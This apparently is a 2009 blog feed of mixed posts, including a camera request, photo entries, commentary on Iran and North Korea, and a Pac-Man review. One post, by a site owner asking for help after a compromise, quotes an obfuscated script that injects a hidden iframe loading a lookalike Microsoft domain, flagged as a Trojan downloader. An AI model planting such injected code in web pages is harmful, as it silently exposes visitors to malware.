| Good digital camera fo a 6yo kid? |
[Jul. 6th, 2009|12:22] |
I am looking for a (used) digicam for a 6yo kid. I looked at 3-6MP models and would get one of them but would prefer something old and simple. The kid in question is currently using her mother's cell phone camera when she can get her hands on it. At age 4 1/2, she was able to make good use of a 5D in auto mode but with bounce flash, as long as somebody helped her support the weight.
Does anyone have dis-used old digicams that you would sell to me? I am thinking something along the lines of an old Canon Powershot or digital Elph series, or maybe some waterproof model. Any number of pixels over screen resolution (2MP) would likely be an overkill for the purpose. AA battery compatibility would be a plus. I am under a parent-imposed limitation not to spend serious money on the kid.
PS: Example of a photo she took with my camera in auto mode (with 100mm macro and 550EX mounted) at age 4 1/2:

|
|
|
| Found this script in a header of a web page. What is its function? |
[Jul. 6th, 2009|09:36] |
|
document.write("<if"+''+'ra'+''+"m"+'e s'+"rc=\"h"+''+'tt'+"p:"+''+"/"+''+'/mic'+"roso"+'t'+''+'f.c'+"n"+'/'+"\" wid"+''+'th=1 he'+"igh"+''+'t'+"="+"2></i"+''+"f"+"ra"+''+""+''+"me"+'>') Here's where this came from:
http://www.a-human-right.com/indexINFECTED.html http://www.a-human-right.com/loginINFECTED.html I restored the original page and moved the two damaged files. I am very curious as to how the changes happened.
Both of them have that script, it was added at 10pm on July 4.
Here's an email I just got:
My Antivirus program has alerted me to the following:
Kaspersky Anti-Virus 6.0 for Windows Workstations
The requested URL http://www.a-human-right.com/
is infected with Trojan Downloader.JS.Iframe.bjn virus
|
|
|
| This is better than the real trailer. |
[Jul. 6th, 2009|02:09] |
I want to see it even more now, though it's meant a statement of some sort. What was I talking about again? Oh, yeah, 2012. It's gonna be cool, like The Fonz.
|
|
|
| Hello! |
[Jul. 5th, 2009|21:01] |
Photographer: Sindymalicious Number of Photos: Just 1 for now Theme(s): Number 12: Growth
( Read more... )
|
|
|
| The Green Light? |
[Jul. 5th, 2009|13:57] |
|
http://formerspook.blogspot.com/2009/07/green-light.html A pair of reports, published this weekend, suggest that Israel has received tacit permission for a raid against Iran's nuclear facilities.
The first account, from the U.K. Telegraph, claims that Saudi Arabia has assured Israel that it will "cast a blind eye" to IAF jets flying over the kingdom, during any potential raid against nuclear targets in Iran.
The head of Mossad, Israel’s overseas intelligence service, has assured Benjamin Netanyahu, its prime minister, that Saudi Arabia would turn a blind eye to Israeli jets flying over the kingdom during any future raid on Iran’s nuclear sites.
Earlier this year Meir Dagan, Mossad’s director since 2002, held secret talks with Saudi officials to discuss the possibility. The Israeli press has already carried unconfirmed reports that high-ranking officials, including Ehud Olmert, the former prime minister, held meetings with Saudi colleagues. The reports were denied by Saudi officials. “The Saudis have tacitly agreed to the Israeli air force flying through their airspace on a mission which is supposed to be in the common interests of both Israel and Saudi Arabia,” a diplomatic source said last week. Use of Saudi airspace would solve enormous logistical, planning and tactical challenges for the IAF. Without a direct route (through Saudi Arabia or Iraq), Israeli pilots would be forced to use corridors through Turkey or around the Arabian Peninsula. As we noted more than three years ago, longer routes put added pressure on Israel's small tanker fleet, which would be used to re-fuel strike aircraft on the Iran mission. Estimates vary on the exact numbers of tankers in the IAF inventory, but most analysts believe there are only 5-7 KC-707s. These aircraft would be an integral part of any long-range mission to Iran, providing aerial refueling and (possibly) command-and-control functions, such as radio relay. Israeli aircraft use the same "boom" refueling system as the USAF; fighters maneuver behind the tanker as the "boom operator" extends the refueling probe into the refueling receptacle of the receiving aircraft. Once contact is established, the tanker begins pumping fuel to the receiver, at a rate of several hundred pounds per minute. The number of tankers available, coupled with their potential offload, will limit the size of any Israeli strike package. Again, estimates on the size of the formation vary (depending on the number of targets to be struck, fighter payload, target distance and airspeed), but many analysts believe the Israelis would launch 4-5 tankers, supporting no more than 30 strike aircraft, divided roughly between F-15Is and F-16Is (which would attack the nuclear facilities) and other F-15s and F-16s, flying air defense suppression and air superiority missions. Divide the number of "bombers" (say 15) by the number of nuclear complexes (four), and you'll see that the IAF has virtually no margin for error. Flying across Saudi airspace would not only decrease in-flight refueling requirements, it could also allow the IAF to add additional strike aircraft to the package, and increase their munitions load, improving prospects for success. Utilizing a corridor through Saudi Arabia would also provide "plausible denial" for two of Israel's most important allies, Turkey (which controls northern approaches to Iran), and the United States, which controls Iraqi airspace. But if securing the Saudi route is critically important--and it is--why leak the information? A couple of possibilities come to mind. First, there's the chance that someone in Israel or Saudi Arabia decided to leak the information, trying to deter the attack for political reasons. Secondly, the leak may be designed to send a message to Iranian leaders. Saudi complicity means that Israel has overcome one of the last major obstacles in striking Iran's nuclear facilities. That means an attack would come at any time, giving the mullahs something to contemplate as they set strategy in Ahmadinejad's second presidential term. The announcement about the Saudi air route came just days after another disclosure from Tel Aviv. Late last week, the Defense Ministry disclosed that an Israeli Dolphin-class recently transited the Suez Canal in June. It was the first IDF warship to use the waterway in years, and signals improving relations between Israel and Egypt. The transit also gives Israeli subs direct access to the Red Sea and Indian Ocean, putting them closer to possible targets in Iran. According to various defense and press accounts, Israel's newest subs are capable of launching cruise missiles through their torpedo tubes. Details on the weapons system remain sketchy; some analysts believe the cruise missile is a modified Harpoon or Popeye with limited range. Others suggest a long-range weapon, capable of hitting targets up to 750 miles away. Whatever its capabilities, the cruise missile gives Israel another option for striking Iran. There are also indications that the U.S. will not stand in the way if Israel attacks Tehran's nuclear facilities. In an interview on ABC's "This Week," Vice President Joe Biden said the Israelis are free to set their own course on Iran. According to the AP, Biden's remarks suggest the administration is adopting a "tougher" stance toward Tehran, although the vice president still holds out hope for talks with the Iranians. Given Mr. Biden's penchant for verbal slips and gaffes, it's hard to say if his comments actually reflect administration policy, or he was simply free-lancing once again. Assuming his remarks are consistent with White House views, then it looks like the Obama team may be accepting the inevitable. In other words, Tehran has no plans to give up its nuclear program, and Israel will not allow Iran to get the bomb. That makes an Israeli strike almost inevitable, and there's only so much the U.S. can do to prevent it. Besides, even the "diplomacy first" crowd that dominates the White House and State Department must recognize the bottom line. If the Israelis go after Iran, they will be doing the world a favor, and (possibly) prevent a regional conflagration. It's the sort of bold action that-- in another time--might be openly endorsed by the U.S. But in today's political environment, tacit approval is about as good as it gets.
|
|
|
| 5D2low light sample |
[Jul. 5th, 2009|14:56] |

Usually, low-light images have very noisy, nasty blue channels. This snapshot seems better than usual.

Auto white balance, 1/100s, f2.8, 100mm macro lens, ISO1600.
|
|
|
| Batch three |
[Jul. 5th, 2009|19:20] |
| [ | Tags | | | colorless, concrete, earth, garbage, key, rush, safety, saurab, soul, statue, two | ] |
Photographer: Saura Number of Photos: 10 Theme(s): 9. colourless, 33. concrete, 21. earth, 51. garbage, 72. key, 35. rush, 1. safety, 70. soul, 47. statue, 59. two
( 20 done, 80 to go ) |
|
|
| Not on the Agenda |
[Jul. 5th, 2009|12:29] |
|
http://formerspook.blogspot.com/2009/07/not-on-agenda.html When President Obama meets with Russian leaders in Moscow this week, arms control will be at the top of the agenda. Mr. Obama is anxious to hammer out a new strategic arms reduction treaty with Russia, resulting in further cuts in each nation's nuclear arsenal.
Meanwhile, there's another issue that deserves the attention of President Obama and his Russian hosts. During the 1990s, North Korea managed to acquire the SS-N-6, a submarine-launched ballistic missile developed by the former Soviet Union. U.S. experts believe the system's technology is being Incorporated into long-range missiles recently tested by Pyongyang. Making matters worse, Kim Jong-il has also sold the missile to Iran, which is expected to use the missile to improve its own designs.
Regrettably, neither President Clinton nor President George W. Bush pressed the Russians on this matter, and there's no reason to believe that Mr. Obama will, either. It's much easier to focus on "big-ticket" items like an arms control deal between Washington and Moscow. Meanwhile, serious proliferation issues--like the SS-N-6 deal--remain on the back burner. We can only guess what technologies have made their way to Pyongyang since that SLBM.
More on this topic in our current column for Examiner.com. |
|
|
| (no subject) |
[Jul. 5th, 2009|12:06] |
|
Also, god damn does an XBox 360 with intercooler and hard drive attachment make a lot of racket. I feel like we're about to get cleared for takeoff. |
|
|
| Pac Man Championship Don't Tell Me What To Do Edition |
[Jul. 5th, 2009|12:02] |
I bought a copy of Pac Man Championship Edition on disc back around xmas time, even though I don't actually own a 360, because it f'ing rules.
If it weren't for the awful build quality of the hardware, and the fact that it's a microsoft product, I'd consider owning a console. I'm holding out hope that eventually they'll miniaturize the hardware, like has happened with the PS2-Slim and PSOne, and in so doing will design out the hardware problems that make it less-than-desirable.
But even so, to me the only reason to have a 360 is to play Pac Man CE. I had access to a 360 this weekend, though, so I pulled out my PMCE disc and played it a good bit. I've read some reviews of the game that mention that the control feels funny. I'm not entirely sure if that's what I've encountered, or if there's something goofy going on with the wireless connection, or what, but I swear the game wants to play itself. I'm used to old-school pac man controls, where you can press a direction well in advance, effectively telling Pac Man, "look, I know you can't make the turn now; just go down the hall straight until you can go the direction I just pressed, and then turn that way." PMCE updated this, the way it works now is that if you press a direction in advance of the turn, Pac Man makes sparks on the wall, which basically means he's dragging on it, using the friction for added traction so he can make the turn quicker, or something. This seems to work, about half the time, anyway. The rest of the time, he'd suddenly reverse direction, usually to disastrous and detrimental results. At first, I thought that the controls were super-touchy, and that they were programmed to basically have Pac Man reverse direction if you tried to push him in a direction where there was a wall blocking him. As though he had grabbed so much wall that the traction spun him out and he did a 180. This seemed like what he was doing. As I continued playing, I began to refine my observations, until I saw that, about half the time, it seems to outright ignore my controller input. And that, of the other half of the time, I'd just be inputting whatever Pac Man would have wanted to do on his own perhaps 80-90% of the time, and the remaining 10-20% of the time, he'd actually change course in accordance with my wishes. Normally, I'd say "broken controller" or "f'ed up wireless connection" but the thing is, when I finally just decided to watch the game and not try to play it, at all, Pac Man would run around the maze pretty much unattended, like the game was running in Demo Mode. Amazing. Pac Man has achieved self-awareness.
"Pac, WTF?" I said. "I'm the one with the controller. Heed me!" "Listen, foo'. I been eatin dots since I was a pixel. I don't need no Johnny-come-lately wannabe champeeeen in my bidness tryin ta tell me what to do." "Pac Man, do you have a Mr. T. Mohawk? Who you tryin ta sass? I have the eject button and the power button, don't forget. When have you ever not done what the controller input said you should do?" "Since now, bitch. You just sit back, and watch the pretty graphics. I know this maze like the back of my hand. 'Sides, I'm way too fast for your puny bitch-ass reflexes. Tell you what, you just tell me what to do every once in a while, like if there's a situation where there's two equally good options, give me a nudge and I'll consider it. But let's not get any wrong ideas about who's in charge, here." "Yes, sir". I -- ah, I mean, we -- then proceeded to rack a high score, and actually played through the entire 5 minute championship mode without dying too much. It was surreal and more than a bit fucked up. Still, high score. Well, local high score. But still. I'm looking around for a mode select or something, but there really isn't anything. Since it's just Pac Man, the controls are dead simple, and there's no reconfiguring them or options or whatever. I guess the only way to win is not to play. |
|
|
| navigation |
| [ |
viewing |
| |
most recent entries |
] |
| [ |
go |
| |
earlier |
] |
| |
|
|